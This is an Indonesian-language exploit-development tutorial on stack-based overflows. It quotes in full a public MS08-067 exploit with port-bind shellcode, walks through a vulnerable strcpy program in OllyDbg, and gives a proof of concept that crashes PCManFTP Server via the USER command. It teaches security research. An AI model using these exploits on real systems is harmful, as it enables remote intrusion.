Membangun Eksploitasi Windows Bagian 3: Stack-based Overflow

Pernah kan menggunakan Metasploit atau mengambil eksploit dari Exploit-DB dan menggunakannya pada sistem target lalu takjub dengan apa yang dilakukan tool atau skrip tersebut? Setidaknya itu yang saya rasakan 10-15 tahun lalu ketika melakukan uji penetrasi, menemukan kerentanan, dan kebetulan menemukan eksploit yang cocok dengan kerentanan yang saya temukan.

Setiap saya berhasil mengeksploitasi kerentanan tersebut, tidak jarang pula saya bertanya-tanya apa yang sebenarnya dilakukan tool atau skrip tersebut.

Contohnya skrip eksploit ini:

#!/usr/bin/env python
#############################################################################
#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
#   www.hackingspirits.com
#   www.coffeeandsecurity.com
#   Email: d3basis.m0hanty @ gmail.com
#
# E-DB Note: Exploit Update ~ https://github.com/offensive-security/exploitdb/pull/77/files#diff-5247d21ae6747fa8543ef0ba9c06c0e2
#############################################################################
import struct
import sys
from threading import Thread    #Thread is imported incase you would like to modify
                                #the src to run against multiple targets.
try:
    from impacket import smb
    from impacket import uuid
    from impacket import dcerpc
    from impacket.dcerpc.v5 import transport
except ImportError, _:
    print 'Install the following library to make this script work'
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
    sys.exit(1)
print '#######################################################################'
print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '#   www.hackingspirits.com'
print '#   www.coffeeandsecurity.com'
print '#   Email: d3basis.m0hanty @ gmail.com'
print '#######################################################################\n'
#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'
#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'
if sys.argv[2]=='1':    #Windows 2000 Payload
    payload=payload_1
    print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2':    #Windows 2003[SP2] Payload
    payload=payload_2
    print '[-]Windows 2003[SP2] payload loaded'
class SRVSVC_Exploit(Thread):
    def __init__(self, target, osver, port=445):
        super(SRVSVC_Exploit, self).__init__()
        self.__port   = port
        self.target   = target
        self.osver   = osver
    def __DCEPacket(self):
        print '[-]Initiating connection'
        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
        self.__trans.connect()
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        # Constructing Malicious Packet
        self.__stub='\x01\x00\x00\x00'
        self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
        self.__stub+=shellcode
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
        self.__stub+=payload
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
        self.__stub+='\x01\x00\x00\x00'
        return
    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation
        print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'
if __name__ == '__main__':
       try:
               target = sys.argv[1]
               osver = sys.argv[2]
       except IndexError:
               print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
               print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
               print 'Select OS Version'
               print '[-]Windows 2000: OS Version = 1'
               print '[-]Windows 2003[SP2]: OS Version = 2'
               sys.exit(-1)
current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
# milw0rm.com [2008-11-16]

Dibuat oleh Debasis Mohanty aka Tr0y, adalah salah satu skrip sakti (saya anggap sakti karena selalu berhasil mengeksploitasi sistem Windows 2000 dan Windows 2003 yang saya temui kala itu) yang selalu saya gunakan ditahun-tahun 2008-2010 ketika proses penetration testing. Yang selalu membuat saya takjub adalah sejumlah kode dan bagian-bagian heksa yang tidak saya mengerti, bisa mengeksekusi perintah sistem operasi dari jarak jauh. Apa yang sebenarnya terjadi? Barisan heksa-heksa itu apa?

Setelah mengikuti pelatihan online dari Offensive Security pada tahun 2010, akhirnya saya memahami maksud dari heksa-heksa tersebut yang sebenarnya adalah shellcode. Heksa-heksa tersebut merupakan kompilasi bahasa mesin dalam bentuk heksa, yang apabila diproses oleh program akan diterjemahkan menjadi rangkaian eksekusi perintah ke sistem operasi. Disebut shellcode karena biasanya mengeksekusi command shell atau perintah sistem operasi yang diwakilkan oleh cmd.exe atau /bin/{ba,z,c,k}sh sebagai interpreter.

Percaya diri saat memahami bahwa proses eksploitasi sebagian besar mengandung shellcode, saya mulai mencari-cari aplikasi yang dapat dijadikan percobaan selain aplikasi latihan pada pelatihan PWB. Aplikasi Batch Audio Converter Lite Edition versi 1.0.0 adalah aplikasi yang pertama kali berhasil dieksploitasi dan pertama kalinya saya membuat eksploit sendiri. Kerentanan buffer overflow pada Batch Audio Converter Lite Edition versi 1.0.0 tersebut waktu itu terbilang unik karena memiliki exception handler yang memicu Structured Exception Handler (SEH) pada Windows XP SP3. Karena menurut saya menantang, saya tetap berusaha mempelajari cara kerja SEH dan mengeksploitasinya. Eksploitnya bisa dilihat disini.

Sejak saat itulah saya memutuskan untuk menenggelamkan diri dalam proses eksploitasi Windows.

Dari Fuzzing menjadi RCE

Pembahasan mengenai fuzzing kurang lebihnya sudah saya jelaskan di tulisan sebelumnya Bagian 2: Fuzzing. Pada pembahasan mengenai fuzzing, kita hanya mengetahui hasil dari fuzzing, namun tidak mengetahui apakah crashnya sebuah program dapat berakibat ke remote command execution (RCE). Untuk menganalisa hal tersebut, kita akan menggunakan program yang sama yaitu PCManFTPD server.

Memahami CPU Register x86

Sebelum sampai pembahasan mengenai hasil fuzzing, akan sangat baik apabila pembaca sudah memahami register CPU pada arsitektur Intel x86. Sebuah CPU berbasis Intel x86 menggunakan 8 register , yaitu: EAX, EDX, ECX, ESI, EDI, EBP, ESP dan EBX. Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang memungkinkan CPU untuk memproses informasi secara efisien.

  • Register EAX, digunakan untuk melakukan perhitungan dan menyimpan nilai balik dari pemanggilan fungsi (function calls). Operasi dasar seperti tambah, kurang, dan perbandingan dilakukan pada register EAX. Khusus operasi lainnya seperti perkalian dan pembagian juga bisa dilakukan di register EAX.
  • Register EDX adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk (membantu) menyimpan data tambahan pada operasi kompleks. Dapat digunakan juga untuk tujuan umum seperti penyimpanan data.
  • Register ECX, juga disebut register count, digunakan untuk operasi perulangan. Operasi perulangan bisa menyimpan string atau menghitung angka.
  • Register ESI dan EDI digunakan untuk memproses loop yang mengolah data. Register ESI adalah sumber indeks (huruf S pada ESI berarti Source yang berarti sumber) untuk operasi data dan memegang lokasi masukan data stream. Register EDI menunjuk ke lokasi hasil operasi data disimpan, atau tujuan indeks (huruf D pada EDI berarti Destination yang berarti tujuan)
  • Register ESP adalah penunjuk ke alamat di memori stack, dan Register EBP adalah penunjuk dasar (base pointer). Kedua register ini digunakan untuk mengatur pemanggilan fungsi dan operasi fungsi/call pada stack. Bila sebuah fungsi dipanggil, argumen atas fungsi tersebut akan didorong ke stack dan diikuti oleh alamat kembali atas fungsi tersebut (return address). ESP selalu menunjuk pada bagian paling atas dari stack (yang merupakan alamat terendah dari memori). Ketika sebuah fungsi selesai dikerjakan, posisi stack akan bergerak “naik” karena sifat stack adalah LIFO, alamat yang disimpan oleh register EBP akan otomatis terpanggil dan program akan kembali mengeksekusi fungsi selanjutnya.
  • Register EBX adalah satu-satunya register yang tidak dirancang untuk sesuatu yang khusus. Tapi bisa dipakai untuk penyimpanan ekstra.
  • Register EIP adalah penunjuk instruksi. EIP menunjuk ke byte pertama dari instruksi selanjutnya yang akan dieksekusi. Kode instruksi disimpan dalam memori, seperti halnya data. Untuk melacak instruksi yang sedang dieksekusi, register EIP menyimpan alamat memori dari instruksi yang akan dieksekusi.

Jika digambarkan, bentuk layout memori pada program kurang lebih seperti ini

Gambaran layout memori ketika program berjalan

Memori Stack bersifat LIFO (last-in first-out) sehingga apa yang didorong ke stack akan bertumpuk (oleh karena itu disebut stack). Ketika sebuah program berjalan, sejumlah alamat atas fungsi akan didorong ke stack menggunakan instruksi PUSH dan diambil dari stack menggunakan instruksi POP. Stack bergerak ke alamat memori rendah.

Gambaran cara kerja program pada stack bisa kita lihat apabila kita mengcompile source code .cpp berikut

#include <stdio.h>
int main() {
   // printf() displays the string inside quotation
   printf("Hello, World!");
   return 0;
}

Sesudah dicompile dengan Visual Studio dengan mematikan opsi Run Time Check (/RTC) dan Buffer Overflow protection (/GS), kita bisa disassemble program hello.exe dengan IDA Freeware dan hasilnya seperti di bawah ini

Hasil disassemble dari program hello.exe menggunakan IDA Freeware

Saya coba jelaskan apa yang terjadi pada stack ketika program hello.exe dijalankan:

push    ebp
mov     ebp, esp
sub     esp, 40h

Bagian di atas sering disebut sebagai prolog bahasa rakitan (assembly). Instruksi pertama menyimpan lokasi base pointer (letak sebuah fungsi bermula) dan mengatur EBP untuk menunjuk pada posisi tersebut di stack. Rangkaian instruksi ini mengatur EBP sebagai stack frame yang posisinya terbentuk di atas stack yang ditunjuk oleh ESP. Instruksi sub esp, 40h menyediakan ruang untuk menyimpan variable yang diperlukan untuk fungsi tersebut. Segala rangkaian instruksi atas fungsi tersebut akan dilakukan di ruang yang telah disediakan oleh stack frame yaitu sebesar 64 bytes (0x40 heksadesimal = 64 bytes).

push     ebx
push     esi
push     edi
push     offset aHello World

Keempat instruksi di atas merangkai parameter yang dibutuhkan untuk memanggil fungsi printf di modul msvcrt.dll. Kalau kita lihat di dokumentasi printf, fungsi ini membutuhkan 2 parameter. Dari semua instruksi tersebut di atas, instruksi push ebx dan push esi memastikan fungsi printf terbentuk, lalu push edi dan push offset aHello World merupakan parameter yang dibutuhkan oleh fungsi printf yang ditandai oleh fungsi call berikut:

call     ds:__imp_printf

Setelah parameter atas fungsi printf terpenuhi, pada jendela stack akan terbentuk seperti ini (saya debug menggunakan OllyDbg):

Kondisi stack ketika akan memanggil fungsi printf

Kita bisa lihat nilai 00000000 pada alamat 0012FEE4 dan 0012FEE8 yang merupakan hasil instruksi dari push ebx dan push esi. Ketika call ds:__imp_printf selesai diproses, instruksi selanjutnya yaitu

add     esp,4
xor     eax,eax
pop     edi
pop     esi
pop     ebx
mov     esp,ebp
pop     ebp
retn

Instruksi add esp,4 melakukan penyesuaian terhadap stack akibat dari eksekusi instruksi sebelumnya (biasanya instruksi-instruksi menyebabkan berubahnya posisi ESP sehingga penyesuaian otomatis dilakukan oleh program dalam bentuk bahasa mesin). Lalu instruksi xor eax,eax menghasilkan nilai kosong pada register EAX.

pop     edi
pop     esi
pop     ebx
mov     esp,ebp
pop     ebp
retn

Rangkaian selanjutnya dapat kita lihat bahwa instruksi-instruksi tersebut hanya kebalikan dari instruksi awal pada saat prolog. Instruksi POP berarti menarik nilai yang ditunjuk pada stack bagian atas dan menaruhnya di register. Rangkaian instruksi ini diperlukan karena sebuah fungsi harus kembali ke posisi semula atau selesai.

Memori Heap bersifat FIFO (first-in-first-out) dan berbeda dengan stack, sederhananya heap adalah bagian dari memori yang dialokasikan secara dinamis (biasanya dialokasikan menggunakan malloc). Memori yang dialokasikan dari heap akan tetap dialokasikan sampai sebuah memori dibebaskan (free) atau program tersebut selesai (exit). Ketika semua referensi penunjuk ke memori yang sudah dialokasikan hilang, kondisi ini biasanya disebut sebagai bocornya alamat memori atau sering disebut sebagai memory leak. Alamat memori yang bocor tidak dapat digunakan kembali namun dapat menjadi referensi untuk lokasi yang diinginkan, contohnya untuk memastikan bahwa sebuah alamat selalu memiliki referensi yang permanen dalam rangka melewati proteksi ASLR, bocornya alamat memori sangat membantu untuk menghitung lokasi yang tepat untuk mencapai lokasi yang diinginkan.

Sedikit cheat sheet terkait memori:

  • Pada mesin Intel x86 , alamat pada memori disimpan secara little-endian (disimpan terbalik). Misalkan kita mengirimkan karakter ABCD (0x41424344) maka pada memori akan tersimpan sebagai DCBA (0x44434241).
  • Pada mesin 32 bit, alamat memori berawal dari 0x00000000-0xFFFFFFFF
    • Userland/space pada alamat 0x00000000-0x7FFFFFFF
    • Kernel land/space pada alamat 0x80000000-0xFFFFFFFF
    • Kernel land/space hanya bisa diakses oleh sistem operasi
  • Ketika proses terbentuk, Process Environment Block (PEB) dan Thread Environment Block (TEB) juga terbentuk
  • PEB berisi semua parameter yang terkait dengan proses saat ini
    • Lokasi executable utama
    • Penunjuk ke data yang dimuat (modul yang sedang digunakan)
    • Informasi tentang heap
  • TEB menjelaskan status thread, dan termasuk
    • Lokasi PEB dalam memori
    • Lokasi stack dan threadnya
    • Penunjuk ke structured exception handler (SEH)

Tampilan debugger

Debugger yang biasa digunakan adalah Immunity Debugger, Olly Debugger, dan Windows Debugger. Pada seri tulisan ini kita mungkin akan menggunakan ketiganya karena beberapa kelebihan yang ditawarkan masing-masing debugger.

Bagian ini akan menjelaskan bagian-bagian dari debugger yang kurang lebih memiliki tampilan yang mirip (kecuali Windows Debugger yang perlu sedikit kustomisasi).

Tampilan Olly Debugger

Tampilan debugger di atas akan menjadi tampilan yang akan sering dilihat selama membaca seri-seri tulisan ke depannya 🙂

Stack-based overflow proof of concept

Untuk memahami bagaimana stack overflow terjadi, kita akan menggunakan source code C berikut.

#include <stdio.h>
#include <string.h>
void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Halo %s\n", buf);
}
int main(int argc, char *argv[])
{
   func(argv[1]);
   return 0;
}

Pada source bahasa C di atas kita bisa melihat fungsi func menerima masukan dari argv. Fungsi func memiliki ukuran panjang maksimal 100 bytes (buf[100]) lalu terdapat fungsi strcpy yang menyalin variable name (yang merupakan masukan bagi fungsi func) ke variable buf. Lalu fungsi printf menampilkan masukan yang diberikan terhadap program.

Sebagai catatan, fungsi strcpy sudah tidak boleh digunakan kembali dan digantikan oleh StringCchCopy (MSDN: https://docs.microsoft.com/en-us/windows/win32/api/strsafe/nf-strsafe-stringcchcopya)

Saya mengcompile source C di atas menggunakan DevC++ 5.1.1 dengan TDM-GCC 4.9.2 32-bit pada mesin Windows 10 Enterprise Edition (WinDev2004 Eval) lalu menjalankannya.

Hasil compile stack-test.c

Ketika program berjalan, berikut yang terjadi pada stack

Karena panjang yang diperbolehkan hanya 100 bytes, bagaimana jika panjangnya melebih 100 bytes? Kita akan melakukan debugging pada program tersebut dan melihatnya melalui debugger OllyDbg.

Buka program tersebut dengan Open, pilih program stack-test.exe lalu pada kolom Arguments, isikan dengan karakter A sebanyak 100 karakter lalu tekan Open. Setelah terbuka, tampilannya kira-kira akan seperti ini.

Tampilan stack-test.exe melalui debugger

Untuk melakukan breakpoint pada alamat tersebut, pilih alamat tersebut lalu tekan F2 (alamat akan berubah warna). Untuk melihat proses eksekusi instruksi CPU terhadap program, kita bisa melihatnya dengan menekan F7 (step into). Untuk melewati/bypass sebuah CALL instruction kita bisa menekan F8 (step over).

Pada tahap ini, kita bisa melihat proses fungsi strcpy menyalin hasil masukan ke variable buf. Tekan F7 sampai di alamat 00401516 CALL <JMP.&msvcrt.strcpy> lalu tekan sekali F7 sekali lagi pada alamat tersebut. Kita dapat melihat pada jendela stack di kanan bawah, parameter untuk memanggil fungsi strcpy terbentuk.

Fungsi strcpy siap dipanggil di stack

Fungsi strcpy membutuhkan 2 parameter, dest dan src. Pada source C di atas, dest diwakilkan oleh variable buf, dan src diwakilkan oleh masukan yang diberikan sebagai parameter ketika memanggil program stack-test.exe dan diwakilkan oleh variable name. Dapat kita perhatikan bahwa dest berisi sebuah alamat 0x0061FE1C yang bisa kita lihat lokasinya yang ditunjuk oleh tanda panah. Ketika fungsi strcpy selesai dipanggil, alamat 0x0061FE1C akan berisi 100 karakter A seperti terlihat pada gambar berikut

Kondisi stack setelah fungsi strcpy dipanggil

Kita lanjutkan sampai instruksi RETN pada alamat 0040152F setelah itu pada jendela stack, kita scroll keatas sedikit untuk melihat bahwa karakter A yang dikirimkan sebanyak 100 bytes masih belum menimpa alamat RETN yang berarti kondisi ini belum menyebabkan stack overflow.

Instruksi RETN belum tertimpa dengan karakter A

Pada kondisi di atas, yang sebenarnya terjadi dapat digambarkan pada diagram berikut:

Kondisi di atas belum menyebabkan stack overflow. Untuk memicunya, kita perlu memastikan nilai EIP terisi oleh buffer yang kita kontrol, dalam hal ini masukan sebagai parameter yang kita kirimkan harus dapat nimpa EIP. Karena EIP merupakan instruction pointer maka apabila kita menimpa EIP dengan buffer yang kita kontrol, maka posisi RETN di atas akan kembali ke alamat yang tidak ada (karena kita memberikan buffer yang tidak mengandung alamat, yaitu karakter A), namun apabila kita bisa menentukan secara tepat di karakter ke berapakah EIP tertimpa oleh buffer yang kita kontrol, maka kita bisa mengambil alih aliran aplikasi.

Sampai saat ini kita mari kita coba mengirimkan karakter A sebanyak 200 karakter, lalu kita inspeksi kondisinya.

Kondisi EBP tertimpa dengan buffer

Setelah diulangi dengan penambahan 100 karakter A, terlihat bahwa nilai EBP yang disimpan di stack (untuk mengembalikan posisi prolog ke asal) sudah tertimpa dengan karakter A ditandai dengan instruksi LEAVE.

Instruksi LEAVE sama dengan rangkaian:

mov     esp,ebp
pop     ebp

Ketika instruksi LEAVE tereksekusi, maka posisi ESP menunjuk ke posisi EBP yaitu 0061FE88 yang telah berisi karakter A. Setelah LEAVE tereksekusi, instruksi selanjutnya adalah RETN yang ditunjuk oleh EIP. Instruksi RETN berarti kembali ke stack dan alamat ESP pada 4 bytes berikutnya adalah 0061FE8C, juga sudah tertimpa dengan karakter A.

EIP akan menunjuk ke alamat yang tidak ada

Akibatnya EIP akan berusaha mengeksekusi alamat memori yang tidak ada (41414141) dan mengakibatkan korupsi memori (memory corruption).

EIP mengeksekusi alamat yang tidak ada.

Jika kita gambarkan lagi dalam bentuk diagram, maka akan terlihat seperti berikut

Diagram setelah stack overflow

Setelah kita berhasil membuat stack overflow, kita bisa mengambil alih aliran aplikasi dengan cara mengisi EIP dengan alamat memori yang kita inginkan. Secara singkat, apabila kita berhasil menguasai EIP berarti kita sudah menguasai program tersebut. Kondisi ini yang disebut sebagai stack-based overflow.

Eksploitasi PCManFTP Server

Eksploit untuk program ini sudah banyak beredar sejak tahun 2012. Sepertinya beberapa perintah FTP terhadap PCManFTP server memiliki kerentanan buffer overflow. Setelah memahami konsep stack-based overflow, tidak ada salahnya untuk mengulang proses pembuatan eksploit terhadap aplikasi PCManFTP Server.

Pada tulisan sebelumnya, kita sudah melakukan fuzzing terhadap program ini. Sebagai pengingat, berikut ini hasil fuzzing yang terlihat dari debugger.

Kondisi stack-based overflow pada PCMan FTPD

Dari gambar tersebut, terlihat bahwa situasi yang sama pada PoC sama persis dengan kondisi yang dialami oleh PCManFTPD server setelah fuzzing. Lalu bagaimana kita dapat mereka ulang kondisi tersebut secara permanen tanpa program fuzzing (BED)? Kita bisa membuat PoC eksploit dengan skrip python berikut: (saya simpan dengan nama 1.py)

#!/usr/bin/python
import socket,sys,time,os
target = '172.16.165.133'
junk = b'A' * 5000
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Dapat dilihat pada skrip di atas, saya akan mengirimkan karakter A (diwakilkan oleh variabel junk) sebanyak 5000 karakter (baris 5) setelah perintah USER (baris 11). Jika kita jalankan skrip di atas pada mesin Kali Linux terhadap mesin Windows 10 yang menjalankan PCManFTPD didalam OllyDbg, maka:

Menjalankan skrip pada mesin Kali Linux
Hasil mengirimkan skrip PoC 1.pypada OllyDbg

Skrip tersebut berhasil mereplikasi kondisi yang dibuat oleh tool BED fuzzer. Pada saat ini kita berhasil membuat stack-based overflow namun kita masih belum dapat memanfaatkan kondisi tersebut.

Seperti pada penjelasan di atas, bahwa tujuan dari stack-based overflow adalah menguasai EIP. Dengan menguasai EIP kita dapat mengambil alih aliran program. Lalu bagaimana kita dapat memanfaatkan EIP yang telah kita kuasai? Untuk memahaminya, kita bisa lihat diagram berikut.

Memanfaatkan EIP untuk lompat ke shellcode

Masih ingat pembahasan di atas, ketika sebuah fungsi pada program akan dipanggil, beberapa alamat untuk kembali ke posisi awal sebuah fungsi akan disimpan di memori stack. Apa yang dikirimkan oleh skrip 1.py di atas membanjiri memori stack dengan karakter A yang sekaligus menimpa beberapa alamat yang diperlukan sebuah fungsi untuk kembali ke posisi awal fungsi tersebut. Ketika karakter A (bisa kita sebut dengan sampah) menimpa alamat di memori stack untuk kembali ke fungsi awal (biasanya ditandai dengan RETN), penunjuk alamat tersebut adalah register EIP. Apabila kita mengganti 4 bytes yang menimpa EIP tersebut dengan instruksi yang membawa kita ke “tempat lain”, kondisi tersebut membuat kita dapat mengambil alih aliran program.

“Tempat lain” yang dimaksud di atas adalah lokasi tempat sampah yang kita kontrol berada. Kita kontrol disini berarti kita dapat mengirimkan karakter apapun ke lokasi tersebut dan selalu dapat kita lihat lokasinya secara pasti. Ketika kita sudah menguasai EIP, kita tinggal mengarahkan instruksi selanjutnya yang ditunjuk oleh EIP ke lokasi sampah yang kita kuasai berada. Pada program PCManFTPD server, kebetulan sampah yang kita kirimkan berada pada memori stack (yang ditunjuk oleh ESP), bisa saja pada kasus lain lokasi sampah ditunjuk oleh register EAX atau register lain, atau bahkan ada di alamat tertentu sehingga kita harus menghitung jarak yang diperlukan untuk mencapai lokasi sampah tersebut. Ada beberapa cara untuk “melompat” ke ESP, instruksi yang paling umum adalah JMP ESP (JUMP (lompat) ke alamat yang berada di register ESP). Instruksi ini adalah instruksi yang sangat umum sehingga akan ada disetiap DLL yang dimuat oleh program tersebut atau bahkan di badan program itu sendiri. Instruksi lain yang dapat kita gunakan adalah CALL ESP dan rangkaian instruksi PUSH ESP diikuti oleh RETN.

JMP ESP memiliki opcodes atau kode operasi bahasa mesin FF E4 dan menggunakan 2 bytes. Untuk mencarinya, kita bisa memilih modul yang sudah dimuat oleh program PCManFTPD lalu mencarinya di modul tersebut. Pada OllyDbg, kita bisa memilih tombol E pada barisan taskbar

Tombol yang mengarah ke daftar modul program

Menu ini memberikan informasi modul-modul yang dimuat oleh program PCManFTPD2.exe, bisa kita lihat tampilannya akan seperti ini

Tampilan modul DLL yang dimuat oleh PCManFTPD2.exe

Ada sedikit catatan ketika memilih alamat yang akan digunakan untuk mengisi EIP:

  • Ada kemungkinan Windows memperbarui DLL disetiap versi Windows yang terbaru atau apabila ada pembaruan service pack atau ketika ada pembaruan keamanan. Untuk alasan kompatibilitas, alamat JMP ESP yang akan dipilih sebaiknya berada di modul yang dimuat oleh program yang dieksploitasi. Hal ini menjamin eksploitasi akan berjalan di semua tipe Windows.
  • Pemilihan alamat tidak boleh mengandung null byte sebagai contoh: 00402701 atau 40200082 atau 740028FE, dst.
  • Ada baiknya memilih alamat yang mengandung karakter 0x01 – 0x7F karena karakter-karakter ini merupakan karakter yang bisa direpresentasikan secara ASCII.

Pada daftar DLL yang dimuat oleh program PCManFTPD2.exe, saya memutuskan untuk memilih SHELL32.DLL dengan alasan:

  • Kedua DLL bawaan dari program PCManFTPD2.exe tidak memiliki instruksi JMP/CALL ESP maupun rangkaian instruksi PUSH ESP - RET. Kedua DLL tersebut adalah Lang.dll dan Blowfish.dll
  • Program utama PCManFTPD2.exe juga tidak memiliki instruksi JMP/CALL ESP maupun rangkaian instruksi PUSH ESP - RETN dan lagi pula alamat dasar (base address) dari PCManFTPD2.exe diawali oleh null byte sehingga tidak dapat digunakan

Untuk mencari instruksi JMP/CALL ESP atau rangkaian instruksi PUSH ESP - RETN, kita bisa memilih DLL yang kita inginkan, dalam hal ini saya memilih SHELL32.DLL (klik 2 kali pada DLL tersebut). Lalu tekan Ctrl+F untuk memunculkan window Find command seperti ini

Tampilan window Find command

Lalu isikan dengan JMP ESP atau CALL ESP dan tekan Find. Apabila ingin mencari rangkaian instruksi PUSH ESP - RETN, tekan Ctrl+S untuk memunculkan window Find sequence of commands

Tampilan window Find sequence of commands

Saya akan memilih instruksi JMP ESP di alamat: 0x771B7E27

Alamat JMP ESP pada modul SHELL32.DLL

